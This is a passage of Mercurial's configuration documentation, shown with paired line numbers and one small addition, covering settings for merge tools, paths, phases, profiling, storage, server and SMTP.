1503 1503 or not, while examining rules to decide merge tool to be used.
1504 1504 (default: False)
1505 1505
1506 1506 ``merge-patterns``
1507 1507 ------------------
1508 1508
1509 1509 This section specifies merge tools to associate with particular file
1510 1510 patterns. Tools matched here will take precedence over the default
1511 1511 merge tool. Patterns are globs by default, rooted at the repository
1512 1512 root.
1513 1513
1514 1514 Example::
1515 1515
1516 1516 [merge-patterns]
1517 1517 **.c = kdiff3
1518 1518 **.jpg = myimgmerge
1519 1519
1520 1520 ``merge-tools``
1521 1521 ---------------
1522 1522
1523 1523 This section configures external merge tools to use for file-level
1524 1524 merges. This section has likely been preconfigured at install time.
1525 1525 Use :hg:`config merge-tools` to check the existing configuration.
1526 1526 Also see :hg:`help merge-tools` for more details.
1527 1527
1528 1528 Example ``~/.hgrc``::
1529 1529
1530 1530 [merge-tools]
1531 1531 # Override stock tool location
1532 1532 kdiff3.executable = ~/bin/kdiff3
1533 1533 # Specify command line
1534 1534 kdiff3.args = $base $local $other -o $output
1535 1535 # Give higher priority
1536 1536 kdiff3.priority = 1
1537 1537
1538 1538 # Changing the priority of preconfigured tool
1539 1539 meld.priority = 0
1540 1540
1541 1541 # Disable a preconfigured tool
1542 1542 vimdiff.disabled = yes
1543 1543
1544 1544 # Define new tool
1545 1545 myHtmlTool.args = -m $local $other $base $output
1546 1546 myHtmlTool.regkey = Software\FooSoftware\HtmlMerge
1547 1547 myHtmlTool.priority = 1
1548 1548
1549 1549 Supported arguments:
1550 1550
1551 1551 ``priority``
1552 1552 The priority in which to evaluate this tool.
1553 1553 (default: 0)
1554 1554
1555 1555 ``executable``
1556 1556 Either just the name of the executable or its pathname.
1557 1557
1558 1558 .. container:: windows
1559 1559
1560 1560 On Windows, the path can use environment variables with ${ProgramFiles}
1561 1561 syntax.
1562 1562
1563 1563 (default: the tool name)
1564 1564
1565 1565 ``args``
1566 1566 The arguments to pass to the tool executable. You can refer to the
1567 1567 files being merged as well as the output file through these
1568 1568 variables: ``$base``, ``$local``, ``$other``, ``$output``.
1569 1569
1570 1570 The meaning of ``$local`` and ``$other`` can vary depending on which action is
1571 1571 being performed. During an update or merge, ``$local`` represents the original
1572 1572 state of the file, while ``$other`` represents the commit you are updating to or
1573 1573 the commit you are merging with. During a rebase, ``$local`` represents the
1574 1574 destination of the rebase, and ``$other`` represents the commit being rebased.
1575 1575
1576 1576 Some operations define custom labels to assist with identifying the revisions,
1577 1577 accessible via ``$labellocal``, ``$labelother``, and ``$labelbase``. If custom
1578 1578 labels are not available, these will be ``local``, ``other``, and ``base``,
1579 1579 respectively.
1580 1580 (default: ``$local $base $other``)
1581 1581
1582 1582 ``premerge``
1583 1583 Attempt to run internal non-interactive 3-way merge tool before
1584 1584 launching external tool. Options are ``true``, ``false``, ``keep``,
1585 1585 ``keep-merge3``, or ``keep-mergediff`` (experimental). The ``keep`` option
1586 1586 will leave markers in the file if the premerge fails. The ``keep-merge3``
1587 1587 will do the same but include information about the base of the merge in the
1588 1588 marker (see internal :merge3 in :hg:`help merge-tools`). The
1589 1589 ``keep-mergediff`` option is similar but uses a different marker style
1590 1590 (see internal :merge3 in :hg:`help merge-tools`). (default: True)
1591 1591
1592 1592 ``binary``
1593 1593 This tool can merge binary files. (default: False, unless tool
1594 1594 was selected by file pattern match)
1595 1595
1596 1596 ``symlink``
1597 1597 This tool can merge symlinks. (default: False)
1598 1598
1599 1599 ``check``
1600 1600 A list of merge success-checking options:
1601 1601
1602 1602 ``changed``
1603 1603 Ask whether merge was successful when the merged file shows no changes.
1604 1604 ``conflicts``
1605 1605 Check whether there are conflicts even though the tool reported success.
1606 1606 ``prompt``
1607 1607 Always prompt for merge success, regardless of success reported by tool.
1608 1608
1609 1609 ``fixeol``
1610 1610 Attempt to fix up EOL changes caused by the merge tool.
1611 1611 (default: False)
1612 1612
1613 1613 ``gui``
1614 1614 This tool requires a graphical interface to run. (default: False)
1615 1615
1616 1616 ``mergemarkers``
1617 1617 Controls whether the labels passed via ``$labellocal``, ``$labelother``, and
1618 1618 ``$labelbase`` are ``detailed`` (respecting ``mergemarkertemplate``) or
1619 1619 ``basic``. If ``premerge`` is ``keep`` or ``keep-merge3``, the conflict
1620 1620 markers generated during premerge will be ``detailed`` if either this option or
1621 1621 the corresponding option in the ``[ui]`` section is ``detailed``.
1622 1622 (default: ``basic``)
1623 1623
1624 1624 ``mergemarkertemplate``
1625 1625 This setting can be used to override ``mergemarker`` from the
1626 1626 ``[command-templates]`` section on a per-tool basis; this applies to the
1627 1627 ``$label``-prefixed variables and to the conflict markers that are generated
1628 1628 if ``premerge`` is ``keep` or ``keep-merge3``. See the corresponding variable
1629 1629 in ``[ui]`` for more information.
1630 1630
1631 1631 .. container:: windows
1632 1632
1633 1633 ``regkey``
1634 1634 Windows registry key which describes install location of this
1635 1635 tool. Mercurial will search for this key first under
1636 1636 ``HKEY_CURRENT_USER`` and then under ``HKEY_LOCAL_MACHINE``.
1637 1637 (default: None)
1638 1638
1639 1639 ``regkeyalt``
1640 1640 An alternate Windows registry key to try if the first key is not
1641 1641 found. The alternate key uses the same ``regname`` and ``regappend``
1642 1642 semantics of the primary key. The most common use for this key
1643 1643 is to search for 32bit applications on 64bit operating systems.
1644 1644 (default: None)
1645 1645
1646 1646 ``regname``
1647 1647 Name of value to read from specified registry key.
1648 1648 (default: the unnamed (default) value)
1649 1649
1650 1650 ``regappend``
1651 1651 String to append to the value read from the registry, typically
1652 1652 the executable name of the tool.
1653 1653 (default: None)
1654 1654
1655 1655 ``pager``
1656 1656 ---------
1657 1657
1658 1658 Setting used to control when to paginate and with what external tool. See
1659 1659 :hg:`help pager` for details.
1660 1660
1661 1661 ``pager``
1662 1662 Define the external tool used as pager.
1663 1663
1664 1664 If no pager is set, Mercurial uses the environment variable $PAGER.
1665 1665 If neither pager.pager, nor $PAGER is set, a default pager will be
1666 1666 used, typically `less` on Unix and `more` on Windows. Example::
1667 1667
1668 1668 [pager]
1669 1669 pager = less -FRX
1670 1670
1671 1671 ``ignore``
1672 1672 List of commands to disable the pager for. Example::
1673 1673
1674 1674 [pager]
1675 1675 ignore = version, help, update
1676 1676
1677 1677 ``patch``
1678 1678 ---------
1679 1679
1680 1680 Settings used when applying patches, for instance through the 'import'
1681 1681 command or with Mercurial Queues extension.
1682 1682
1683 1683 ``eol``
1684 1684 When set to 'strict' patch content and patched files end of lines
1685 1685 are preserved. When set to ``lf`` or ``crlf``, both files end of
1686 1686 lines are ignored when patching and the result line endings are
1687 1687 normalized to either LF (Unix) or CRLF (Windows). When set to
1688 1688 ``auto``, end of lines are again ignored while patching but line
1689 1689 endings in patched files are normalized to their original setting
1690 1690 on a per-file basis. If target file does not exist or has no end
1691 1691 of line, patch line endings are preserved.
1692 1692 (default: strict)
1693 1693
1694 1694 ``fuzz``
1695 1695 The number of lines of 'fuzz' to allow when applying patches. This
1696 1696 controls how much context the patcher is allowed to ignore when
1697 1697 trying to apply a patch.
1698 1698 (default: 2)
1699 1699
1700 1700 ``paths``
1701 1701 ---------
1702 1702
1703 1703 Assigns symbolic names and behavior to repositories.
1704 1704
1705 1705 Options are symbolic names defining the URL or directory that is the
1706 1706 location of the repository. Example::
1707 1707
1708 1708 [paths]
1709 1709 my_server = https://example.com/my_repo
1710 1710 local_path = /home/me/repo
1711 1711
1712 1712 These symbolic names can be used from the command line. To pull
1713 1713 from ``my_server``: :hg:`pull my_server`. To push to ``local_path``:
1714 1714 :hg:`push local_path`. You can check :hg:`help urls` for details about
1715 1715 valid URLs.
1716 1716
1717 1717 Options containing colons (``:``) denote sub-options that can influence
1718 1718 behavior for that specific path. Example::
1719 1719
1720 1720 [paths]
1721 1721 my_server = https://example.com/my_path
1722 1722 my_server:pushurl = ssh://example.com/my_path
1723 1723
1724 1724 Paths using the `path://otherpath` scheme will inherit the sub-options value from
1725 1725 the path they point to.
1726 1726
1727 1727 The following sub-options can be defined:
1728 1728
1729 1729 ``multi-urls``
1730 1730 A boolean option. When enabled the value of the `[paths]` entry will be
1731 1731 parsed as a list and the alias will resolve to multiple destination. If some
1732 1732 of the list entry use the `path://` syntax, the suboption will be inherited
1733 1733 individually.
1734 1734
1735 1735 ``pushurl``
1736 1736 The URL to use for push operations. If not defined, the location
1737 1737 defined by the path's main entry is used.
1738 1738
1739 1739 ``pushrev``
1740 1740 A revset defining which revisions to push by default.
1741 1741
1742 1742 When :hg:`push` is executed without a ``-r`` argument, the revset
1743 1743 defined by this sub-option is evaluated to determine what to push.
1744 1744
1745 1745 For example, a value of ``.`` will push the working directory's
1746 1746 revision by default.
1747 1747
1748 1748 Revsets specifying bookmarks will not result in the bookmark being
1749 1749 pushed.
1750 1750
1751 1751 ``bookmarks.mode``
1752 1752 How bookmark will be dealt during the exchange. It support the following value
1753 1753
1754 1754 - ``default``: the default behavior, local and remote bookmarks are "merged"
1755 1755 on push/pull.
1756 1756
1757 1757 - ``mirror``: when pulling, replace local bookmarks by remote bookmarks. This
1758 1758 is useful to replicate a repository, or as an optimization.
1759 1759
1760 - ``ignore``: ignore bookmarks during exchange.
1761 (This currently only affect pulling)
1762
1760 1763 The following special named paths exist:
1761 1764
1762 1765 ``default``
1763 1766 The URL or directory to use when no source or remote is specified.
1764 1767
1765 1768 :hg:`clone` will automatically define this path to the location the
1766 1769 repository was cloned from.
1767 1770
1768 1771 ``default-push``
1769 1772 (deprecated) The URL or directory for the default :hg:`push` location.
1770 1773 ``default:pushurl`` should be used instead.
1771 1774
1772 1775 ``phases``
1773 1776 ----------
1774 1777
1775 1778 Specifies default handling of phases. See :hg:`help phases` for more
1776 1779 information about working with phases.
1777 1780
1778 1781 ``publish``
1779 1782 Controls draft phase behavior when working as a server. When true,
1780 1783 pushed changesets are set to public in both client and server and
1781 1784 pulled or cloned changesets are set to public in the client.
1782 1785 (default: True)
1783 1786
1784 1787 ``new-commit``
1785 1788 Phase of newly-created commits.
1786 1789 (default: draft)
1787 1790
1788 1791 ``checksubrepos``
1789 1792 Check the phase of the current revision of each subrepository. Allowed
1790 1793 values are "ignore", "follow" and "abort". For settings other than
1791 1794 "ignore", the phase of the current revision of each subrepository is
1792 1795 checked before committing the parent repository. If any of those phases is
1793 1796 greater than the phase of the parent repository (e.g. if a subrepo is in a
1794 1797 "secret" phase while the parent repo is in "draft" phase), the commit is
1795 1798 either aborted (if checksubrepos is set to "abort") or the higher phase is
1796 1799 used for the parent repository commit (if set to "follow").
1797 1800 (default: follow)
1798 1801
1799 1802
1800 1803 ``profiling``
1801 1804 -------------
1802 1805
1803 1806 Specifies profiling type, format, and file output. Two profilers are
1804 1807 supported: an instrumenting profiler (named ``ls``), and a sampling
1805 1808 profiler (named ``stat``).
1806 1809
1807 1810 In this section description, 'profiling data' stands for the raw data
1808 1811 collected during profiling, while 'profiling report' stands for a
1809 1812 statistical text report generated from the profiling data.
1810 1813
1811 1814 ``enabled``
1812 1815 Enable the profiler.
1813 1816 (default: false)
1814 1817
1815 1818 This is equivalent to passing ``--profile`` on the command line.
1816 1819
1817 1820 ``type``
1818 1821 The type of profiler to use.
1819 1822 (default: stat)
1820 1823
1821 1824 ``ls``
1822 1825 Use Python's built-in instrumenting profiler. This profiler
1823 1826 works on all platforms, but each line number it reports is the
1824 1827 first line of a function. This restriction makes it difficult to
1825 1828 identify the expensive parts of a non-trivial function.
1826 1829 ``stat``
1827 1830 Use a statistical profiler, statprof. This profiler is most
1828 1831 useful for profiling commands that run for longer than about 0.1
1829 1832 seconds.
1830 1833
1831 1834 ``format``
1832 1835 Profiling format. Specific to the ``ls`` instrumenting profiler.
1833 1836 (default: text)
1834 1837
1835 1838 ``text``
1836 1839 Generate a profiling report. When saving to a file, it should be
1837 1840 noted that only the report is saved, and the profiling data is
1838 1841 not kept.
1839 1842 ``kcachegrind``
1840 1843 Format profiling data for kcachegrind use: when saving to a
1841 1844 file, the generated file can directly be loaded into
1842 1845 kcachegrind.
1843 1846
1844 1847 ``statformat``
1845 1848 Profiling format for the ``stat`` profiler.
1846 1849 (default: hotpath)
1847 1850
1848 1851 ``hotpath``
1849 1852 Show a tree-based display containing the hot path of execution (where
1850 1853 most time was spent).
1851 1854 ``bymethod``
1852 1855 Show a table of methods ordered by how frequently they are active.
1853 1856 ``byline``
1854 1857 Show a table of lines in files ordered by how frequently they are active.
1855 1858 ``json``
1856 1859 Render profiling data as JSON.
1857 1860
1858 1861 ``freq``
1859 1862 Sampling frequency. Specific to the ``stat`` sampling profiler.
1860 1863 (default: 1000)
1861 1864
1862 1865 ``output``
1863 1866 File path where profiling data or report should be saved. If the
1864 1867 file exists, it is replaced. (default: None, data is printed on
1865 1868 stderr)
1866 1869
1867 1870 ``sort``
1868 1871 Sort field. Specific to the ``ls`` instrumenting profiler.
1869 1872 One of ``callcount``, ``reccallcount``, ``totaltime`` and
1870 1873 ``inlinetime``.
1871 1874 (default: inlinetime)
1872 1875
1873 1876 ``time-track``
1874 1877 Control if the stat profiler track ``cpu`` or ``real`` time.
1875 1878 (default: ``cpu`` on Windows, otherwise ``real``)
1876 1879
1877 1880 ``limit``
1878 1881 Number of lines to show. Specific to the ``ls`` instrumenting profiler.
1879 1882 (default: 30)
1880 1883
1881 1884 ``nested``
1882 1885 Show at most this number of lines of drill-down info after each main entry.
1883 1886 This can help explain the difference between Total and Inline.
1884 1887 Specific to the ``ls`` instrumenting profiler.
1885 1888 (default: 0)
1886 1889
1887 1890 ``showmin``
1888 1891 Minimum fraction of samples an entry must have for it to be displayed.
1889 1892 Can be specified as a float between ``0.0`` and ``1.0`` or can have a
1890 1893 ``%`` afterwards to allow values up to ``100``. e.g. ``5%``.
1891 1894
1892 1895 Only used by the ``stat`` profiler.
1893 1896
1894 1897 For the ``hotpath`` format, default is ``0.05``.
1895 1898 For the ``chrome`` format, default is ``0.005``.
1896 1899
1897 1900 The option is unused on other formats.
1898 1901
1899 1902 ``showmax``
1900 1903 Maximum fraction of samples an entry can have before it is ignored in
1901 1904 display. Values format is the same as ``showmin``.
1902 1905
1903 1906 Only used by the ``stat`` profiler.
1904 1907
1905 1908 For the ``chrome`` format, default is ``0.999``.
1906 1909
1907 1910 The option is unused on other formats.
1908 1911
1909 1912 ``showtime``
1910 1913 Show time taken as absolute durations, in addition to percentages.
1911 1914 Only used by the ``hotpath`` format.
1912 1915 (default: true)
1913 1916
1914 1917 ``progress``
1915 1918 ------------
1916 1919
1917 1920 Mercurial commands can draw progress bars that are as informative as
1918 1921 possible. Some progress bars only offer indeterminate information, while others
1919 1922 have a definite end point.
1920 1923
1921 1924 ``debug``
1922 1925 Whether to print debug info when updating the progress bar. (default: False)
1923 1926
1924 1927 ``delay``
1925 1928 Number of seconds (float) before showing the progress bar. (default: 3)
1926 1929
1927 1930 ``changedelay``
1928 1931 Minimum delay before showing a new topic. When set to less than 3 * refresh,
1929 1932 that value will be used instead. (default: 1)
1930 1933
1931 1934 ``estimateinterval``
1932 1935 Maximum sampling interval in seconds for speed and estimated time
1933 1936 calculation. (default: 60)
1934 1937
1935 1938 ``refresh``
1936 1939 Time in seconds between refreshes of the progress bar. (default: 0.1)
1937 1940
1938 1941 ``format``
1939 1942 Format of the progress bar.
1940 1943
1941 1944 Valid entries for the format field are ``topic``, ``bar``, ``number``,
1942 1945 ``unit``, ``estimate``, ``speed``, and ``item``. ``item`` defaults to the
1943 1946 last 20 characters of the item, but this can be changed by adding either
1944 1947 ``-<num>`` which would take the last num characters, or ``+<num>`` for the
1945 1948 first num characters.
1946 1949
1947 1950 (default: topic bar number estimate)
1948 1951
1949 1952 ``width``
1950 1953 If set, the maximum width of the progress information (that is, min(width,
1951 1954 term width) will be used).
1952 1955
1953 1956 ``clear-complete``
1954 1957 Clear the progress bar after it's done. (default: True)
1955 1958
1956 1959 ``disable``
1957 1960 If true, don't show a progress bar.
1958 1961
1959 1962 ``assume-tty``
1960 1963 If true, ALWAYS show a progress bar, unless disable is given.
1961 1964
1962 1965 ``rebase``
1963 1966 ----------
1964 1967
1965 1968 ``evolution.allowdivergence``
1966 1969 Default to False, when True allow creating divergence when performing
1967 1970 rebase of obsolete changesets.
1968 1971
1969 1972 ``revsetalias``
1970 1973 ---------------
1971 1974
1972 1975 Alias definitions for revsets. See :hg:`help revsets` for details.
1973 1976
1974 1977 ``rewrite``
1975 1978 -----------
1976 1979
1977 1980 ``backup-bundle``
1978 1981 Whether to save stripped changesets to a bundle file. (default: True)
1979 1982
1980 1983 ``update-timestamp``
1981 1984 If true, updates the date and time of the changeset to current. It is only
1982 1985 applicable for `hg amend`, `hg commit --amend` and `hg uncommit` in the
1983 1986 current version.
1984 1987
1985 1988 ``empty-successor``
1986 1989
1987 1990 Control what happens with empty successors that are the result of rewrite
1988 1991 operations. If set to ``skip``, the successor is not created. If set to
1989 1992 ``keep``, the empty successor is created and kept.
1990 1993
1991 1994 Currently, only the rebase and absorb commands consider this configuration.
1992 1995 (EXPERIMENTAL)
1993 1996
1994 1997 ``share``
1995 1998 ---------
1996 1999
1997 2000 ``safe-mismatch.source-safe``
1998 2001
1999 2002 Controls what happens when the shared repository does not use the
2000 2003 share-safe mechanism but its source repository does.
2001 2004
2002 2005 Possible values are `abort` (default), `allow`, `upgrade-abort` and
2003 2006 `upgrade-abort`.
2004 2007
2005 2008 ``abort``
2006 2009 Disallows running any command and aborts
2007 2010 ``allow``
2008 2011 Respects the feature presence in the share source
2009 2012 ``upgrade-abort``
2010 2013 tries to upgrade the share to use share-safe; if it fails, aborts
2011 2014 ``upgrade-allow``
2012 2015 tries to upgrade the share; if it fails, continue by
2013 2016 respecting the share source setting
2014 2017
2015 2018 Check :hg:`help config format.use-share-safe` for details about the
2016 2019 share-safe feature.
2017 2020
2018 2021 ``safe-mismatch.source-safe.warn``
2019 2022 Shows a warning on operations if the shared repository does not use
2020 2023 share-safe, but the source repository does.
2021 2024 (default: True)
2022 2025
2023 2026 ``safe-mismatch.source-not-safe``
2024 2027
2025 2028 Controls what happens when the shared repository uses the share-safe
2026 2029 mechanism but its source does not.
2027 2030
2028 2031 Possible values are `abort` (default), `allow`, `downgrade-abort` and
2029 2032 `downgrade-abort`.
2030 2033
2031 2034 ``abort``
2032 2035 Disallows running any command and aborts
2033 2036 ``allow``
2034 2037 Respects the feature presence in the share source
2035 2038 ``downgrade-abort``
2036 2039 tries to downgrade the share to not use share-safe; if it fails, aborts
2037 2040 ``downgrade-allow``
2038 2041 tries to downgrade the share to not use share-safe;
2039 2042 if it fails, continue by respecting the shared source setting
2040 2043
2041 2044 Check :hg:`help config format.use-share-safe` for details about the
2042 2045 share-safe feature.
2043 2046
2044 2047 ``safe-mismatch.source-not-safe.warn``
2045 2048 Shows a warning on operations if the shared repository uses share-safe,
2046 2049 but the source repository does not.
2047 2050 (default: True)
2048 2051
2049 2052 ``storage``
2050 2053 -----------
2051 2054
2052 2055 Control the strategy Mercurial uses internally to store history. Options in this
2053 2056 category impact performance and repository size.
2054 2057
2055 2058 ``revlog.issue6528.fix-incoming``
2056 2059 Version 5.8 of Mercurial had a bug leading to altering the parent of file
2057 2060 revision with copy information (or any other metadata) on exchange. This
2058 2061 leads to the copy metadata to be overlooked by various internal logic. The
2059 2062 issue was fixed in Mercurial 5.8.1.
2060 2063 (See https://bz.mercurial-scm.org/show_bug.cgi?id=6528 for details)
2061 2064
2062 2065 As a result Mercurial is now checking and fixing incoming file revisions to
2063 2066 make sure there parents are in the right order. This behavior can be
2064 2067 disabled by setting this option to `no`. This apply to revisions added
2065 2068 through push, pull, clone and unbundle.
2066 2069
2067 2070 To fix affected revisions that already exist within the repository, one can
2068 2071 use :hg:`debug-repair-issue-6528`.
2069 2072
2070 2073 ``revlog.optimize-delta-parent-choice``
2071 2074 When storing a merge revision, both parents will be equally considered as
2072 2075 a possible delta base. This results in better delta selection and improved
2073 2076 revlog compression. This option is enabled by default.
2074 2077
2075 2078 Turning this option off can result in large increase of repository size for
2076 2079 repository with many merges.
2077 2080
2078 2081 ``revlog.persistent-nodemap.mmap``
2079 2082 Whether to use the Operating System "memory mapping" feature (when
2080 2083 possible) to access the persistent nodemap data. This improve performance
2081 2084 and reduce memory pressure.
2082 2085
2083 2086 Default to True.
2084 2087
2085 2088 For details on the "persistent-nodemap" feature, see:
2086 2089 :hg:`help config format.use-persistent-nodemap`.
2087 2090
2088 2091 ``revlog.persistent-nodemap.slow-path``
2089 2092 Control the behavior of Merucrial when using a repository with "persistent"
2090 2093 nodemap with an installation of Mercurial without a fast implementation for
2091 2094 the feature:
2092 2095
2093 2096 ``allow``: Silently use the slower implementation to access the repository.
2094 2097 ``warn``: Warn, but use the slower implementation to access the repository.
2095 2098 ``abort``: Prevent access to such repositories. (This is the default)
2096 2099
2097 2100 For details on the "persistent-nodemap" feature, see:
2098 2101 :hg:`help config format.use-persistent-nodemap`.
2099 2102
2100 2103 ``revlog.reuse-external-delta-parent``
2101 2104 Control the order in which delta parents are considered when adding new
2102 2105 revisions from an external source.
2103 2106 (typically: apply bundle from `hg pull` or `hg push`).
2104 2107
2105 2108 New revisions are usually provided as a delta against other revisions. By
2106 2109 default, Mercurial will try to reuse this delta first, therefore using the
2107 2110 same "delta parent" as the source. Directly using delta's from the source
2108 2111 reduces CPU usage and usually speeds up operation. However, in some case,
2109 2112 the source might have sub-optimal delta bases and forcing their reevaluation
2110 2113 is useful. For example, pushes from an old client could have sub-optimal
2111 2114 delta's parent that the server want to optimize. (lack of general delta, bad
2112 2115 parents, choice, lack of sparse-revlog, etc).
2113 2116
2114 2117 This option is enabled by default. Turning it off will ensure bad delta
2115 2118 parent choices from older client do not propagate to this repository, at
2116 2119 the cost of a small increase in CPU consumption.
2117 2120
2118 2121 Note: this option only control the order in which delta parents are
2119 2122 considered. Even when disabled, the existing delta from the source will be
2120 2123 reused if the same delta parent is selected.
2121 2124
2122 2125 ``revlog.reuse-external-delta``
2123 2126 Control the reuse of delta from external source.
2124 2127 (typically: apply bundle from `hg pull` or `hg push`).
2125 2128
2126 2129 New revisions are usually provided as a delta against another revision. By
2127 2130 default, Mercurial will not recompute the same delta again, trusting
2128 2131 externally provided deltas. There have been rare cases of small adjustment
2129 2132 to the diffing algorithm in the past. So in some rare case, recomputing
2130 2133 delta provided by ancient clients can provides better results. Disabling
2131 2134 this option means going through a full delta recomputation for all incoming
2132 2135 revisions. It means a large increase in CPU usage and will slow operations
2133 2136 down.
2134 2137
2135 2138 This option is enabled by default. When disabled, it also disables the
2136 2139 related ``storage.revlog.reuse-external-delta-parent`` option.
2137 2140
2138 2141 ``revlog.zlib.level``
2139 2142 Zlib compression level used when storing data into the repository. Accepted
2140 2143 Value range from 1 (lowest compression) to 9 (highest compression). Zlib
2141 2144 default value is 6.
2142 2145
2143 2146
2144 2147 ``revlog.zstd.level``
2145 2148 zstd compression level used when storing data into the repository. Accepted
2146 2149 Value range from 1 (lowest compression) to 22 (highest compression).
2147 2150 (default 3)
2148 2151
2149 2152 ``server``
2150 2153 ----------
2151 2154
2152 2155 Controls generic server settings.
2153 2156
2154 2157 ``bookmarks-pushkey-compat``
2155 2158 Trigger pushkey hook when being pushed bookmark updates. This config exist
2156 2159 for compatibility purpose (default to True)
2157 2160
2158 2161 If you use ``pushkey`` and ``pre-pushkey`` hooks to control bookmark
2159 2162 movement we recommend you migrate them to ``txnclose-bookmark`` and
2160 2163 ``pretxnclose-bookmark``.
2161 2164
2162 2165 ``compressionengines``
2163 2166 List of compression engines and their relative priority to advertise
2164 2167 to clients.
2165 2168
2166 2169 The order of compression engines determines their priority, the first
2167 2170 having the highest priority. If a compression engine is not listed
2168 2171 here, it won't be advertised to clients.
2169 2172
2170 2173 If not set (the default), built-in defaults are used. Run
2171 2174 :hg:`debuginstall` to list available compression engines and their
2172 2175 default wire protocol priority.
2173 2176
2174 2177 Older Mercurial clients only support zlib compression and this setting
2175 2178 has no effect for legacy clients.
2176 2179
2177 2180 ``uncompressed``
2178 2181 Whether to allow clients to clone a repository using the
2179 2182 uncompressed streaming protocol. This transfers about 40% more
2180 2183 data than a regular clone, but uses less memory and CPU on both
2181 2184 server and client. Over a LAN (100 Mbps or better) or a very fast
2182 2185 WAN, an uncompressed streaming clone is a lot faster (~10x) than a
2183 2186 regular clone. Over most WAN connections (anything slower than
2184 2187 about 6 Mbps), uncompressed streaming is slower, because of the
2185 2188 extra data transfer overhead. This mode will also temporarily hold
2186 2189 the write lock while determining what data to transfer.
2187 2190 (default: True)
2188 2191
2189 2192 ``uncompressedallowsecret``
2190 2193 Whether to allow stream clones when the repository contains secret
2191 2194 changesets. (default: False)
2192 2195
2193 2196 ``preferuncompressed``
2194 2197 When set, clients will try to use the uncompressed streaming
2195 2198 protocol. (default: False)
2196 2199
2197 2200 ``disablefullbundle``
2198 2201 When set, servers will refuse attempts to do pull-based clones.
2199 2202 If this option is set, ``preferuncompressed`` and/or clone bundles
2200 2203 are highly recommended. Partial clones will still be allowed.
2201 2204 (default: False)
2202 2205
2203 2206 ``streamunbundle``
2204 2207 When set, servers will apply data sent from the client directly,
2205 2208 otherwise it will be written to a temporary file first. This option
2206 2209 effectively prevents concurrent pushes.
2207 2210
2208 2211 ``pullbundle``
2209 2212 When set, the server will check pullbundle.manifest for bundles
2210 2213 covering the requested heads and common nodes. The first matching
2211 2214 entry will be streamed to the client.
2212 2215
2213 2216 For HTTP transport, the stream will still use zlib compression
2214 2217 for older clients.
2215 2218
2216 2219 ``concurrent-push-mode``
2217 2220 Level of allowed race condition between two pushing clients.
2218 2221
2219 2222 - 'strict': push is abort if another client touched the repository
2220 2223 while the push was preparing.
2221 2224 - 'check-related': push is only aborted if it affects head that got also
2222 2225 affected while the push was preparing. (default since 5.4)
2223 2226
2224 2227 'check-related' only takes effect for compatible clients (version
2225 2228 4.3 and later). Older clients will use 'strict'.
2226 2229
2227 2230 ``validate``
2228 2231 Whether to validate the completeness of pushed changesets by
2229 2232 checking that all new file revisions specified in manifests are
2230 2233 present. (default: False)
2231 2234
2232 2235 ``maxhttpheaderlen``
2233 2236 Instruct HTTP clients not to send request headers longer than this
2234 2237 many bytes. (default: 1024)
2235 2238
2236 2239 ``bundle1``
2237 2240 Whether to allow clients to push and pull using the legacy bundle1
2238 2241 exchange format. (default: True)
2239 2242
2240 2243 ``bundle1gd``
2241 2244 Like ``bundle1`` but only used if the repository is using the
2242 2245 *generaldelta* storage format. (default: True)
2243 2246
2244 2247 ``bundle1.push``
2245 2248 Whether to allow clients to push using the legacy bundle1 exchange
2246 2249 format. (default: True)
2247 2250
2248 2251 ``bundle1gd.push``
2249 2252 Like ``bundle1.push`` but only used if the repository is using the
2250 2253 *generaldelta* storage format. (default: True)
2251 2254
2252 2255 ``bundle1.pull``
2253 2256 Whether to allow clients to pull using the legacy bundle1 exchange
2254 2257 format. (default: True)
2255 2258
2256 2259 ``bundle1gd.pull``
2257 2260 Like ``bundle1.pull`` but only used if the repository is using the
2258 2261 *generaldelta* storage format. (default: True)
2259 2262
2260 2263 Large repositories using the *generaldelta* storage format should
2261 2264 consider setting this option because converting *generaldelta*
2262 2265 repositories to the exchange format required by the bundle1 data
2263 2266 format can consume a lot of CPU.
2264 2267
2265 2268 ``bundle2.stream``
2266 2269 Whether to allow clients to pull using the bundle2 streaming protocol.
2267 2270 (default: True)
2268 2271
2269 2272 ``zliblevel``
2270 2273 Integer between ``-1`` and ``9`` that controls the zlib compression level
2271 2274 for wire protocol commands that send zlib compressed output (notably the
2272 2275 commands that send repository history data).
2273 2276
2274 2277 The default (``-1``) uses the default zlib compression level, which is
2275 2278 likely equivalent to ``6``. ``0`` means no compression. ``9`` means
2276 2279 maximum compression.
2277 2280
2278 2281 Setting this option allows server operators to make trade-offs between
2279 2282 bandwidth and CPU used. Lowering the compression lowers CPU utilization
2280 2283 but sends more bytes to clients.
2281 2284
2282 2285 This option only impacts the HTTP server.
2283 2286
2284 2287 ``zstdlevel``
2285 2288 Integer between ``1`` and ``22`` that controls the zstd compression level
2286 2289 for wire protocol commands. ``1`` is the minimal amount of compression and
2287 2290 ``22`` is the highest amount of compression.
2288 2291
2289 2292 The default (``3``) should be significantly faster than zlib while likely
2290 2293 delivering better compression ratios.
2291 2294
2292 2295 This option only impacts the HTTP server.
2293 2296
2294 2297 See also ``server.zliblevel``.
2295 2298
2296 2299 ``view``
2297 2300 Repository filter used when exchanging revisions with the peer.
2298 2301
2299 2302 The default view (``served``) excludes secret and hidden changesets.
2300 2303 Another useful value is ``immutable`` (no draft, secret or hidden
2301 2304 changesets). (EXPERIMENTAL)
2302 2305
2303 2306 ``smtp``
2304 2307 --------
2305 2308
2306 2309 Configuration for extensions that need to send email messages.
2307 2310
2308 2311 ``host``
2309 2312 Host name of mail server, e.g. "mail.example.com".
2310 2313
2311 2314 ``port``
2312 2315 Optional. Port to connect to on mail server. (default: 465 if
2313 2316 ``tls`` is smtps; 25 otherwise)
2314 2317
2315 2318 ``tls``
2316 2319 Optional. Method to enable TLS when connecting to mail server: starttls,
2317 2320 smtps or none. (default: none)
2318 2321
2319 2322 ``username``
2320 2323 Optional. User name for authenticating with the SMTP server.
2321 2324 (default: None)
2322 2325
2323 2326 ``password``
2324 2327 Optional. Password for authenticating with the SMTP server. If not
2325 2328 specified, interactive sessions will prompt the user for a
2326 2329 password; non-interactive sessions will fail. (default: None)
2327 2330
2328 2331 ``local_hostname``
2329 2332 Optional. The hostname that the sender can use to identify
2330 2333 itself to the MTA.
2331 2334
2332 2335
2333 2336 ``subpaths``
2334 2337 ------------
2335 2338
2336 2339 Subrepository source URLs can go stale if a remote server changes name
2337 2340 or becomes temporarily unavailable. This section lets you define
2338 2341 rewrite rules of the form::
2339 2342
2340 2343 <pattern> = <replacement>
2341 2344
2342 2345 where ``pattern`` is a regular expression matching a subrepository
2343 2346 source URL and ``replacement`` is the replacement string used to
